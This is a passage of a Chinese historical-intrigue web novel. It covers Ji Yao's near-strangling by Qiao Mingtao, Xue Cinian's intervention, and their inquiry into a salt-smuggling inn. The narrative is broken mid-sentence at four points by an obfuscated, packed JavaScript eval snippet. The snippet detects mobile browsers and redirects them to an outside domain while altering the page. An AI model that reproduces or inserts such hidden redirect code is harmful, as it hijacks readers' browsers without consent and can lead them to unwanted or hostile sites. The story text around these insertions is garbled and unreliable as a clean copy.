次日戌时登门，晚则亥时。 然则她如今无心去深想其中曲折，唯独不愿面对薛辞年。 季窈很清楚，朝堂之上权势倾轧、党争内耗，官场之泥淖，一旦踏入便身不由己，季薛的两相对立，由来已久，父辈之间的罪责，本应与子无关……可父债子偿，又是千古不易之理…… 她陷在柔软的衾被间，濡湿的睫羽不堪重负地垂下，她再度沉沉睡了过去。 好在薛辞年也一连多日没有露面，季窈病去了一半，渐渐感到松泛些，入夜时分湮灭灯，在榻上翻来覆去的没有睡意，索性提了盏八角灯，到庭院的池子边看鱼。 近日无人理会，几只鱼瞧着恹恹无力的，季窈便转去亭台，想从那处的亮格柜里捡一罐鱼食来喂。 行至月门前，夜风突然灌来——有什么比之更快的贴上来，后脑重重撞上门楹，灯笼滚过脚边，浓重的酒气扑面而来，脖颈被一双手死死扼住。 “屡次设计，巧言相欺，你到底是何人？究竟有什么目的？”那声音好似生锈的箭镞刮过陶瓦内壁，每个字都迸着火星。 季窈没想到乔明韬竟敢夜潜府邸，以这般简率粗莽的方式，堂而皇之向她发问。 呼吸被绞成细线，他食指所戴的玉犀扳指压在她突跳的颈脉上，求生的本能令她反手扣住他的手指，艰难发出字句：“乔大公子……可还记得……季窈？” 乔明韬恨声：“死不足惜的谋逆之徒！害死我父亲的罪魁祸首！季家人我到死都不会忘！” 视野边缘开始晕开靛蓝色的斑块，打更的梆子声忽远忽近地漂浮，窒息感潮水般漫上来，“当初……我与季窈于一破庙南北相遇，她告诉我……乔良深夜叩响季家大门，与顺安候书房密谈，却被一支飞矢封喉毙命……” “……季家因此落罪，一夜之间满门覆灭！乔良……乔良才是害死季家的罪魁祸首！” 14. 第 14 章 乔明韬果真迟疑，松开两指让季窈喘气，勒令道：“还知道什么，说。” 气流好似碎开的冰碴，扎着喉管一缕一缕挤进她的胸腔，季窈混沌的灵台劈得雪亮，反而笑出声来。 她垂下双手，不再使力，喘息着道：“我看乔大公子是喝疯了，此地是按察使大人的私宅，并非由您做主的衙署，更不是乔家府邸。” “想杀我容易，套话也不难，却偏偏择了最为蠢笨的法子……”少女仰着脖颈，像是濒死的鹤，可眼底淬火的光却生生刺破朦胧水雾，“乔侍郎当初难道没有教过您？非所据而据焉，身必危……还是乔大公子经年所学，全数随着平昭十六年那场山火一并烧净，只剩一腔愚勇了？” 她已从方才的挟死之危中极快反应过来，知乔明韬不过是借着醉酒的由头逼她口风，故而反客为主，一字一句精准挑向他的痛处。 几回交锋，乔明韬也摸清了她的路数，掐在她脖间的指节因竭力隐忍而咯咯作响，将她的后脑往青砖上多压了半寸，“如今牙尖嘴利，日后薛辞年若得知跟在身边的，是一只会咬人饮血、背弃恩主的羔羊，安能容得下你？” “我的生死归处，不劳乔长史费心。”季窈言在此而意在彼。 “身如蝼蚁，还妄想自握命途？”乔明韬指掌力道收紧，想用这种残忍的方式再度提醒她，“姑娘如今的生死已由不得自己。” 耳内的嗡鸣声愈演愈烈，最后一丝清明消散前，季窈听见长剑出鞘的铮鸣。 桎梏松开的刹那，整个人又似破水而出，她手脚虚软的立不住，有人紧随剑风揽她入怀，携来一阵清淡的月季花香，“她的生死若不由自己，我便想法子让它由。” 剑尖将池中碎光聚成一个点，明晃晃抵在乔明韬的咽喉，薛辞年手腕折转，力道不卸，往更深处偏去。 “天授之才譬如乔长史，不也由命途掌控，身不由己？”他声音冷而沉。 殷红的血顺着脖颈向下蜿蜒，浸透乔明韬雪白的领口，只见他酡颜瘫坐，发冠散乱，撑着池边污泥恍惚，“是扶光啊……” 他张口还欲说什么，突被一道沙哑艰涩的声音截断：“薛辞年。” 少年执剑的手一抖，低头看她，“我在。” 季窈眼中的事物仍在晃荡，四周晕着大偏烧开似的火光，憧憧人影拓在期间，她只知道紧紧揪着薛辞年的衣襟。 “回去、我想回去……”她催促。 濒死的窒息都没能让她如此畏惧，适才乔明韬悬而未出的话，反倒惊得她寒意陡生，后背虚汗涔涔。 乔明韬尚未与她达成共识，难以确保会如愿走自己布的这步棋，倘若不成，到时若返回头去向薛辞年揭发她，她恐怕难以收场。 薛辞年见此果真再无心顾及旁的，收了剑，道：“看来乔长史这是醉得狠了，连自家府门都没认清，不若先暂歇在此处，醒醒酒再说。” 说完撂下一句：“云师！扣人！” 乔明烂泥一般任其施为，被左右箝制着，行至穿堂时，依稀瞟见黑暗的游廊尽头一道熟悉的人影，由府中小厮引路，过了垂花门往外出的西角门去了。 他垂下眼，步子未再像方才那般沉重拖曳。 夜过三更，两厢遭乱渐渐歇止，唯有檐角悬挂的两串琉璃铎犹未平静，荡出一圈又一圈扰人心绪的碎响。 青碧色的软纱帐子半合，将少年拢在一片影影绰绰的晦暗中，他少见的冷目寡言，连满室药香都泛着股沉郁之气。 季窈憋闷得不行，捂着颈间由医女搽抹好的淤痕，仰着脸道：“公子难道不想问我，乔长史为何会出现在此？又为何会与我有所争端？” 薛辞年低睫看她，他就站在脚踏边上，单手撩着垂在承尘边的宝石珠子，此时的二人连裙裳都堆在一块，他却并无离远一些的打算。 半晌，终是牵了牵唇角，笑影半浮：“他是我设局灌醉，也是我以计引来，当然也是得我授意才能顺利潜进府中，与你有何关系？” 话间微带沉吟，猜测道：“难不成……你与乔明韬有什么过节？” 陈邈仪那夜登门造访后，又断断续续来过几回，若要说多掩人耳目倒算不上，只是每每都瞧着形色匆促的样子，关系好像十分紧要。 漕司因此被冷落了数日，生怕薛辞年在背后耍阴招，憋大坏，最终急不可待地遣了人来探听消息。 乔明韬中计，只怕也是顺势而为。 虽是无关痛痒，可这按捺不住的一番动作岂不恰好说明，这干干净净的漕司之内，已经有人惶惶不可终日。 想通其中关窍，季窈暗道自己失言，却是仍想探一探薛辞年这人。 案上明烛跳动的厉害，将二人的眉眼映得忽明忽暗，她心一横，反问道：“如果我说有呢？” “那定然是乔明韬的错，我与你站在一起。”他不假思索地回答。 像是流光溢彩的、卷着刀刃的软绸，带着韧劲从她面前掠过时，忽而转了向，锋刃被裹挟不见，只余绸带尾端从她面颊扫过，轻飘飘的，一阵风似的，再没了后续。 一股无名火在心间升腾，连带着那日雨夜他借着脉象之事戏耍于她的不满，季窈扯开遮人视线的帐幔，试图看清他的神色，“奴婢微贱之身，死亦不足惜，公子何须处处相护？” “人与人之间的缘分，动辄如叁商两星，此出彼没，难有同辉之时。”他照旧游刃有余，松了手中的宝石珠子，缓缓上前。 却是忽地欺身，两臂撑在她的身侧，独属于他的气息霎时覆来，像是要将她圈进领地。 季窈这次是真将他脸上的神色看清了，眼梢上翘，朱唇含笑，口中的话如敲冰戛玉，却着实难辨真假：“我想我与阿婵，就很有缘分。” 这倒让季窈想起另一茬事。 阿婵是她的乳名，年岁大一些后，除却家中长辈和几个闺中好友，无人再这样唤过她，也鲜少有人知晓…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955320|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这厮……这厮却是格外知晓。 想至此处，季窈也气的笑出来。 如今拿着她的乳名去唤另一个人，好啊，很好。 心中已将此人在刀刃上来回滚了几遭泄愤，季窈皮笑肉不笑道：“公子上回说，所唤奴婢的名字与相夫人起的不同，是因为当时听岔了——” 她状似不解，柔声细语发出质疑：“奴婢怎么觉得……另有隐情呢。” 季窈眼睁睁看着面前这副近乎完美的，瓷玉般带笑的面容，裂开一道细纹，而后狼狈地退离了这兰香满盈的茜纱帐子。 可这香气已沁于衾枕几席之间，他坐立难安，欲盖弥彰般，转而执起银铰刀去剪烛芯的焦尾，剪刃开合间漏出句：“你与我的一位故人，有肖似之处。” 季窈暗暗磨牙，心说果真是她的乳名，终究没有心思与他在这些毫末上计较，唯有一点要害之处，让她难以确定。 是以怀着忐忑，问出了口：“是生的像么？” 薛辞年转头，似在隔着挑亮的烛火仔细打量她，笑说：“不像。” 季窈如释重负，眉尖却轻蹙着不肯散开，此时的话便带了几分私怨：“奴婢的名字从她身上得来，公子此举未免不妥。” “如何不妥？” “此举非但冒犯了那位姑娘的名讳，于奴婢而言亦是良心难安。”她认真替他做了决定，“公子以后还是唤奴婢阿檀。” 他点点头，搁下铰刀。 季窈以为他同意，神志放松不少，颈间绢布裹覆下，阵阵灼痛不曾消减，连累着后脊、腰骨一齐酸软不已。 她不动声色揉按着，一抬头，便见薛辞年又回到跟前。 心觉反常，尚未张口问询，便见他再次俯身。 这次的距离比之方才不知要近上多少，更是一径往前不停，偏头自她的鼻梁掠过时，让季窈疑心再险一些，他的嘴唇便会擦过她的。 而他不过凑近她的耳际，语气温柔，说出的话恶劣至极： “休想。” “阿婵。” 季窈要被他气的仰倒，口不择言像是在威胁：“若那位姑娘得知此事，定不会放过你！” “这你倒说的不错。”薛辞年不气也不恼，抱臂倚向床柱，认同道：“以她的脾性，虽不会怒形于色，但一口利齿伶牙，话里藏针，确实让我消受不起。” 季窈一时不知他这话是夸是贬，身子本就疲累不堪，心知他已然打定主意，再无改口的可能，神色恹恹没了兴致。 “不过我倒乐意等着。”他恍然不觉，转眸看向窗外绿刺含着烟郁的月季，“若她还能回来，到我面前，哪怕是阴魂厉鬼，来索我的命，我也定双手奉上。” 此话犹如当头利剑，顺着她的脊骨一路刺到脚底，以一种绝对的，难以挣脱的方式将她钉在原地。 季窈缓慢地、不可置信地抬首，声音颤颤问他：“为何？” “我欠她的。”少年回望她。 15. 第 15 章 寅时初刻，东方刚刚泛出蟹壳青。 颈上针扎般的隐痛将季窈从神思纷犹的睡梦中拖拽出来。 这彻夜纷扰着她的，除却薛辞年昨晚那惊世骇俗的言辞，最首要的，还是乔明韬这一变数。 如今灵台清明起来，细细回想，昨夜情形虽混乱，乔明韬却说她的命不由她任情挥霍，加之那张口未言的刻意之举，何尝不是在试探她？ 想来当时他便已经做出抉择，被自己引为同调，半只脚与她站在了同一方立场。 起去盥洗罢，绕过当间的彩绘屏扇回身时，猛地顿在原地。 花草纹透雕的乌木镜架上，铜镜被日光镀上一层薄金，清潋潋仿若藏着一泓秋水，倒映少女的全貌。 她有种羊脂玉般的美，五官细巧而内收，眼睛乌黑透着研润，眼尾略长，弯起来时微微上翘，正因如此，为她平添一股精乖之气。 只是连日病伤磋磨，整个人瞧着无什么气色，就连眉心以血点就、赤金朱砂似的法印都像因此转淡，不禁让她一颗心高高悬起。 她过去于容色上并无过多在意，如今有了这番折转，倒时常揽镜自照—— 却从未、从未有过此等现象！ 她无法笃定眼下的印记是否还有效用，一时不知该如何是好，不安地在屋中来回踱步，终究是急于出门，抓起角落的一只羃篱，将人严严实实遮住了，确认不能轻易认出面貌，疾步朝西厢走去。 步子一路都生了风，带动柳花裙子和羃纱飞出浅浪，沿途的仆婢凭借身形倒认得出她，知她这几日身子有恙，昨夜又险些出了事，公子宅心仁厚，多允了她几日假，并无差事，怎会这一大早的出门子？ 这边季窈往的西厢的门下一立，稍往里照了照眼，还未看到人影，便有道声音从内传出来：“姑娘来的比我预料中要早。” 心中有了定数，推门而入。 乔明韬现在的形容，比之昨夜可谓天壤，身上一袭月白色的长袍，腰间束着一条藏青色的丝绦，绦上挂着一枚莹润的白玉佩，随着他的沾墨的动作轻晃，发出清脆的碰响。 他正在旁临一副蜀素帖，端的是平心静气、八风不动，将自顾坐于对面的季窈晾了半刻钟。 “乔大公子这般好没意思，将人害成这副不敢见人的模样，连一句道歉的话都没有么？”季窈冷睨着他。 不知是不是因她影响，乔明韬最后一撇发力稍偏，笔锋失了凌厉，如折翼之鸟。 他叹气，叩了笔，用帕子擦着指尖黑墨，“姑娘若只是来听道歉的，我倒要没兴致了。” 季窈闻言坐的直了直，晓得他看不见自己的神情，只将语气放软一些，“乔大公子若能吐露隐情，奴婢权可以忘了昨夜之事。” “季乔两家从头至尾都绑在一处，乔公子如此讳莫如深，对自身并无好处，您说是也不是？” 她如今不唤乔长史了，一口一个乔大公子的叫着，每说一句话，都似在提醒他昔日的风光、未雪的冤屈，字字戳人心窝。 乔明韬隔着羃纱看她，却犹如雾里看花。心中暗嗤，小小年纪，当真是深谙人心。 “阿檀姑娘欲与在下为盟，却不肯将真实身份相告，又怎能让人安心呢？” 季窈状似听不懂：“乔大公子都已将奴婢的来历底细调查得一清二楚，又何必明知故问？” 她且说着，指尖抚过案角的牙刻如意，向上轻轻压在他所写的“冤”字上，不大经心地描摹，“昨夜奴婢已将实情和盘托出，欲为季乔两家正名，如今全在乔大公子。” 温和的施压下，乔明韬盯着她沉默良久，妥协松口：“我父亲去往照京前，曾与张玄会面。” “仓司公事张玄？”季窈愣神，“乔侍郎与他有何事端？” 乔明韬冷笑一声，“张玄贪生畏死，生怕与我乔家牵上关系，对我们是能避则避，自然也难探出口风。” 说着话锋一转：“你和薛辞年曾与他相见，难道不知他的为人？” 季窈悚然一惊，眼前的白纱随着她突兀的抬头发出颤动，乔明韬正温和看着她笑。 “你……你……” “我当然知道。”他落实她的猜想。 “昨夜我就已经好言提醒过薛辞年，既拽出了张玄，抓获了陈邈仪，足可销差，此时乖乖回京领功受赏，等着进禄加官，如愿踏上他的光明仕途就是……偏偏不懂适可而止……” 薛辞年以他为引，拉整个漕司入局，是抱了削株掘根的决心，而乔明韬将计就计，又反过来婉言相劝，亦藏着多重目的。 至今上至九级丹陛，下到沧海之畔，都已这陷在这暗流汹涌的博弈当中，她在之中混水摸鱼，恐怕稍不留神就要枉送性命。 廊外传来细微的脚步声，有小丫鬟的低问同伴：“乔二公子登门寻他兄长，公子怎么看着不想放人？” “听闻乔大公子昨夜喝疯了酒，险些将阿檀姐姐给掐死……” 二人是姜家的人得悉薛辞年至扬州，住了这处宅院，于是新遣来的两个伶俐丫头，尚未涉手太多差事，不知乔明韬就被安置在此处，更不知季窈亦在这里。 “好在奴婢早来了几刻钟，不耽误乔二公子接您回家。” 季窈离座，撑开半扇门后又微微侧首，门外的风将她面前垂落的白纱吹开一角，隐现她脖颈狰狞的淤痕，以及依稀的眉目轮廓。 “祠堂梁木倾，不敢忘鸦啼三更。”她声音幽微，好似梵音，“乔大公子，下次我将诸般消息透露给您，您当不能再如现今这般话留三分了罢。” 明间内，乔泊霖已喝尽了两盏茶。 盯着渐高的日轮，终于忍不住目露烦色：“我阿兄还未睡醒？” “酒后宿醉，次日日上三竿再起身本就是寻常之事，子澍且再候片刻。”薛辞年道。 乔泊霖再如何驽钝，也能明白过来薛辞年所做为何，站起身来，好声好气道：“我阿兄昨夜行事的确过分，你有心为难，我没有怨言，你将阿檀姑娘叫来，我亲自与她赔礼道歉。” 日头把屋脊压成金线，在瓦当投下半明半暗的阴影，乔泊霖身处明暗的交界，光影将他的面容割裂成两半，薛辞年一言不发与他对望。 乔泊霖自幼体弱，幼时与同伴顽耍，因身骨生的比旁人小，时常受人欺负。 家中母亲、长兄都将他拘得紧，仆婢也处处小心看护，每回有人欺负他，他倒也忍着气，生怕长辈得知后动怒，再不放他出去。 薛辞年第一次见他，一场雨将将为照京褪去暑热，屋檐水珠滴滴答答落下，在廊外聚出一小片积水。 几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959044|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个孩童贪凉，又不敢去大一些的池塘，便围拢在这小片积水旁，叽叽喳喳闹个不休。 各自之间本相安无事，忽有人手一扬，往乔泊霖身上撩了几滴水，这雨水含混着沙砾、泥土，并不干净，他左躲右躲，非但没有换来他罢手收敛，反让这人愈加恶劣。 简单的玩闹，变成了群人围堵，捧着雨水往他的后脖颈去浇，乔泊霖又急又恼，到底不是软脾性，与这群人大打出手，就此厮扯起来。 终究打不过，脸也肿了，衣裳也脏了，他也再没有顾忌，索性阿娘这次，定不会再让他出门。 为首的那人正是随父回朝述职的裕王次子梁趡，他自西北长大，三岁能上马，五岁会射箭，生的虎头虎脑，十分健壮，性子也是出了名的说一不二。 仗着是皇亲国戚，父亲亦有戍边之功，颇有些蛮横之气，自然不将小小的侍郎之子放在眼里。 他指着乔泊霖，要他向自己跪地磕头，将不小心沾染泥土的靴尖擦干净。 乔泊霖死不肯服软，在被按着要膝盖着地之际，肩背钳制的力量一轻，梁趡惨叫一声，毫无防备跌进了这已经被他们挥霍混浊的积水中。 梁趡吃了一嘴脏水，一边往起爬一边破口大骂，扬言着要狠狠教训这不长眼之徒，转头看到是薛辞年后，气势弱了半截。 薛辞年骄狞顽劣的声名比他还响，万万不是什么心慈手软之人，在照京称得上要风得风要雨得雨，他那权重秩崇的爹，不问世事的娘，一个比一个护短，对他的行径可谓放纵。 梁趡哪里敢轻易招惹，撂下几句狠话便仓惶离开了。 乔泊霖得以脱困，瘫坐在泥泞中仰望薛辞年，简直将他视作拯溺扶危的英雄，祈盼他能再拉自己一把。 可那英雄只是眄他一眼，漂亮的眉眼皱着，嫌弃道：“你分明不是懦弱之人，可每遇纷争，便惶惶然退缩避让，长此以往，众人皆视你为软弱可欺之辈，肆意凌辱，予取予求。” “你得反抗，知道吗？” 乔泊霖眨巴着泪眼不说话。 终是于心不忍，一伸手，动作不大温柔的将他拽起来，“以后你跟着我，我教你。” 于是往后近十年的光阴里，除薛辞年杳无音信的那一年，乔泊霖总会跟在他的左右。 他钟情策马，筋骨底子却不佳，薛辞年便日日塾学散课后带他苦练；他爱吃糖蜜煎，往往要随身装满一荷囊，同窗背地嘲笑是姑娘行经，薛辞年手一发狠，塞人鼓鼓一嘴，笑着问那人明日是不是要穿罗裙来进学。 他身子一年比一年强健，身量也渐渐长过了同岁的孩子，照京中无人再敢小看他。 乔泊霖认为，他与薛辞年会是一生的挚友，斯世当以同怀视之，未曾想家中逢遭变故，求告无门之时，会连薛辞年的面都见不到。 那个曾经用尽力气，鲜衣飞扬站到众人面前的少年，这次坠进了他再难爬出的不测之渊，也再不祈望谁能拉他一把。 薛辞年迟迟不松口，明间内一时间陷入僵局。 此时门房恰好来报：“公子，孙大人求见。” 话未落，只见孙知远行步如飞穿过庭院，无暇顾及身后紧追慢赶的随侍，径直朝着明间奔来。 薛辞年朱唇一勾，起身相迎。 等得便是他。 16. 第 16 章 孙知远此行似乎格外匆匆，发冠袍角灰扑扑荡着一层土，瞧着尘容满面，不曾休整好的样子。 薛辞年还是惯常一副笑面，客套道：“怎劳孙大人亲自前来？” 孙知远这次无心与他绕弯子，不请自坐，摆出了尊长之范：“小薛大人，并非本官有意责怪你，你说你为了一个无足轻重的婢女，如此兴师动众，未免有失自身身份。” 他一摆手，无甚耐性地道：“快快将本官的下属放了来，衙署公务缠身，我们还需得早些回去。” “孙大人这话说的轻巧。”薛辞年单手支颐，半卧在圈椅中，“你我虽幸谋一官半职在身，可与下人同处尘世，皆为父母所生，食五谷，居人间，又怎能自诩命贵，罔顾他们性命？” “你——”孙知远方才不过想为彼此留个台阶，以全颜面，可这薛辞年不知是当真愚蠢成性，还是佯作不懂，总之人是一时半刻放不出来了。 孙知远同乔泊霖使了个眼色，站起来道：“还请小薛大人引路，我们先去瞧一眼。” 庭院里栽种着大片琼花，明间为屏挡刺目的烈光，两面揭下了半边帘幕，此时帘幕垂垂，系在花枝上的护花铃无风自响，一道清脆的声音踏着铃音而来。 “乔长史来了。” 乔泊霖疾步上前，乍眼便看见自家阿兄颈前一道深刻的剑伤，当即怒火中烧：“薛辞年，你滥用私刑！” “子澍冤枉我了，当时夜半三更，我只当是贼人袭击，这才下手没了轻重。”他面露无辜之色，转而看向乔明韬，语调温善：“子锋兄，你说是不是？” 乔明韬顺着他的话道：“扶光说的不错，不过误会一场，子澍，收收你的性子。” 乔泊霖不做声，眸子一动，注意到他背后的袅娜身影。 她发上带着斗笠状的物甚，周围缀有一圈长长的纱幔，纱幔质地轻柔，随风拂动时给人一种朦胧、飘逸的美感。 是以转了步子，放软语调问道：“阿檀姑娘，你没事吧？” 他倒比以前知礼的多，知道要对撞到的姑娘说抱歉，也会替他阿兄来做好人。 “谢乔二公子关怀，奴婢并无大碍。” “误会既已解除，我们就不多烦扰了。”孙知远出声。 乔家两兄弟得了示意，纷纷拱手请辞，薛辞年就势而下，几人礼让着刚欲抬步，平地无端起了一阵大风。 庭院的护花铃摇得急切，明间垂幕被卷的狂舞，霎眼看仿若灵动的白蛇。 凌乱中，随之飞出的是一只小蛇，赫然为季窈发顶所戴的羃篱！ 众人不约而同回头。 风止，垂幕悠悠回落，明朗的天光倏忽转阴，豆大的雨点噼啪砸下，草木混着泥土的芳香丝丝缕缕地泛进来。 季窈被他们无形的目光攫住，一瞬连呼吸都好像停滞了，只剩胸腔因不安而狂烈的心跳，以及足以盖过一切声音的耳鸣。 她只觉得此时像是置身在梦中，眼前几人的动作都放慢了——他们面面相觑、嘴唇张合，似是因为什么惊心之景而蹙眉交谈着。 对面说过的话越过了长长的时空，延慢了往复数言，在薛辞年轻轻按住她肩头的那刻，才荡着回音传入她的耳际。 原来他们只是见她素白的脖颈间，一圈触目的青紫掐痕太过醒目，如狰狞的藤蔓盘踞，不由表示几句怜悯。 季窈胸口起伏着，气息渐匀，松开的指节因长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965577|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久用力而泛白。 无事。凤羽印没有失去效用。 满身虚汗落下，雨风一扑，侵肌砭骨。 “胆小，吓到了。”薛辞年不动声色挡在她身前，淡淡解释。 眼看檐外大雨毫无停歇的迹象，孙知远心思不系于此，显而易见的不愿久留，薛辞年见此，唤人去取了雨具来。 仆役来去很快，呈来时，薛辞年亲自挑了把湘妃竹为骨，以石青、朱砂、雌黄三色染绘溪山烟雨的桐油伞，递予孙知远。 孙知远对此甚为满意，朝他微微点头致意，二人并肩往府门去，看上去相当融洽。 临走前，薛辞年忽地扯住孙知远的袖摆，没心没肺道：“孙大人来的不巧，晚辈改日再邀。” 季窈清晰地，从孙知远眼中读到了一丝惶骇，而后见他伸出另一只手，将自己的衣摆从薛辞年指间一点一点抽回去。 他这反应实乃常理。孙知远一非他的亲长，二与他无有旧交，他这举动虽不算逾矩，于同僚之间却是有失体统。 马车匆匆驶离，在石板路留下一道模糊的水辙，很快又被流水冲刷殆尽。 薛辞年眉峰缓缓压下来，唇角抿成一道直线，毫不犹豫转身往回，命人关严府门。 季窈不明所以，缀在他的身后急趋才勉强跟得上他的脚步。至房门前时薛辞年却遽然止步，害的她与他迎头相撞。 他闷笑着，将她引进屋内，门一阖，向她摊开手。 直棂门镶嵌雕花攒成的格心，八宝奇珍的图案在光线下形成剪纸般镂透的光影，映着光，季窈看到他指尖晶莹、零星的霜白。 “鱼出窝了。” 少年眼睛中燃着两点磷火。 17. 第 17 章 云师来报，称孙知远是从玉纱江畔的一家客舍赶来。 “客舍？”季窈不禁奇怪。 孙知远这个时辰本应在衙署当值，纵是身子乏累，亦有廨舍可供歇息，就算觉得廨舍起居不便，回自家宅子便可，何故要住邸店？ “公子和阿檀姑娘当是听过的，今岁太后七秩大庆，陛下御笔亲绘一顶龙凤花钗冠，自三年前便命人筹备了。” 云师说至此处，见二人面上怀有探究之色，想是不知后情，继续道： “这花钗冠的样式近些日子才在一些显达间传开，说是冠身以赤金为骨，呈覆钵状，其上錾刻繁复卷云纹，金芒与云纹交织，贵气自生。二十四朵珍珠花，大如牡丹，小似茉莉，依冠形错落分布。每朵花皆以金为蕊，珍珠为瓣……另有左右博鬓，用珠翠编织成凤纹，并垂下珍珠流苏。” “世人皆知太后尤爱珍珠，其中南珠最甚，乌浒之地盛产，怎奈锻造手艺不佳，是以与玉山所贡的翠羽一齐转至苏地，待花钗冠制就，便由孙知远护持进京。” 季窈凝眉沉吟：“现今距太后寿辰尚差近两月，走水路自大运河北上，快则十多天，慢则月余，且这花钗冠需悉心存护，恐怕要更加耽误时日……” 云师点头称是，“姑娘说的不错，此冠精贵，其中大大小小的珍珠便有三千五百八十八颗，翠羽七十四片，更有上乘的红宝石、蓝宝石、绿松石、猫眼石……难以胜计，价值连城，眼下花钗冠形制已具，已用朱漆匣、销金袱封装，两名探马不日便要启程探路。” “孙知远一刻不敢懈怠，听闻整船都以桐油浸渍过，铺设厚毛毡，还调遣了拔尖的水师士卒，以及随队的匠人，近些日子在泊船渡口忙碌，累了就歇在近旁的客舍里。” 季窈和薛辞年对视一眼。 近来霪雨靡常，时无停缀，午间时倾盆而下后，至薄暮时缠绵成了丝，屋外雨声细弱轻灵，屋内只余清脆的拨盏声。 薛辞年推两盏茶给二人，指尖有节律地轻叩着桌面，悠悠道：“孙知远这一番作为皆合于权责，无可非议，却有一项，极尽失责。” “哪里失责？”云师不明就里，这简直是恪尽职守。 “此等运送的谨密之事，关乎贡物之危，一旦有失，上负圣恩，下扰民生，内里诸般细节机要，怎就让我们打探得一清二楚？”薛辞年眼梢挑起的弧度讥诮。 季窈接过他的话：“届时主船的船身不会挂官旗，花钗冠当也不在其中，约莫会先后派出多支假扮的民船商队，以迷惑沿途盗匪，真品混入商队低调行进。瞧着大张旗鼓，日夜不休，兴许护送贡物的船只也不过方寸那么大。” 说完，二人含笑看向他，似在等他接下来的刨判。 云师端着茶怃然无措。 他自刀锋下长大，在血雨腥风里讨生活，于他而言，生死相搏方为常态，这些世故机巧、弯弯绕绕，与其让他周旋，不若拼杀一场来得痛快。 虽不擅于此，思绪却清晰，说起自己调查到的另一件事：“不论如何，这客舍决计有问题，据说那里原先做的珠宝营生，后来折了本，盘给了初到此地的陆姓商户。” “此人直言扬州不贵珠玉，贵居所，可这珠宝肆守着渡口，谁人不知此地兴客舍之业，获利最厚，可惜周遭客舍林立，且珠宝肆占地局促，难成气候。” “这陆姓商户豪奢不说，做生意也大胆，便向上将此地打造成一方明三暗五的阁楼，初看不过重屋一座，踏进去才惊觉别有洞天。这阁楼内里竟分作五层，巧妙隐匿于看似三层的外观之下，精妙的设计、明暗交错的光景转换，又挂匾取名为八重天，引无数旅人纷至沓来。” “也不过三五年的风光，此客舍后来频发命案，居客锐减，好在扬州外乡人多，尚未沦落到门可罗雀的地步……” 说到此处缓缓停住，此时三人的想法不谋而合。 冷落的门庭，精巧的布局，守在便宜交易的渡口之畔，以正经的客舍之业为掩护……确实是要比陈邈仪更为天衣无缝的贩盐之道。 薛辞年捏着方才因拭手而沾染盐粒的绢帕，低眉轻笑：“近来雨水多发，木辄易为水所侵，盐遇潮则凝结成块，或失性变味……” 仓储不虞，亟需处置。所以孙知远孳孳矻矻，不敢停歇，所以晴过几日，突降大雨时他才会那般坐立难安。 云师已将二人所说串连起来，心领神会：“不若属下趁漏夜时分，潜进那客舍里摸一遍。” “你不必急，此地如今必定防守森严，想要不打草惊蛇，还需从长计议。”薛辞年说着，转而看向季窈，“阿婵有何妙计？” 季窈望着雨中低垂的花枝，若有所思：“一个尽可能不暴露行踪又能摸清内情的办法…… “倒不如光明正大地查。” * 一帘水色漫过青石阶，湖边八角亭的檐角铜铃摇着清音，竹帘半卷处，茶气正袅袅缠住新采的莲蓬香。 石案上残棋未收，黑子白子都洇出半透明的水痕，解棋之人正凝眉沉思，忽有穿湘裙的少女从新月桥的方向来，罗绣伞沿垂落的珠串惊起满塘涟漪。 “大人，有位姑娘坏了伞，问能否进亭中避避雨。”随侍上前禀报。 张玄装模作样在此解了半晌棋，眉头都要拧得打了结，听闻此言犹得援手，残棋一罢，执盏悠哉啜饮起来，道：“请进来。” 那姑娘拎着湿透的裙角匆匆入内，一面抚着裙面上水珠，一面将的伞架到望柱，对凭栏而望的浑圆侧影，道：“多谢张大人。” 扭头看来，张玄却是悚了一跳，失声道：“怎么是你？” 他显然以为她是由薛辞年派来，向他探问消息、发号施令的，挥退了近旁的侍卫仆役，不情愿地低声问：“你来这做什么？” 季窈笑意盈盈，还是那番说辞：“奴婢恰经此处，坏了伞，来避雨。” 张玄满脸狐疑，哼一声：“你们拿捏住了本官的命脉，本官无话可说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 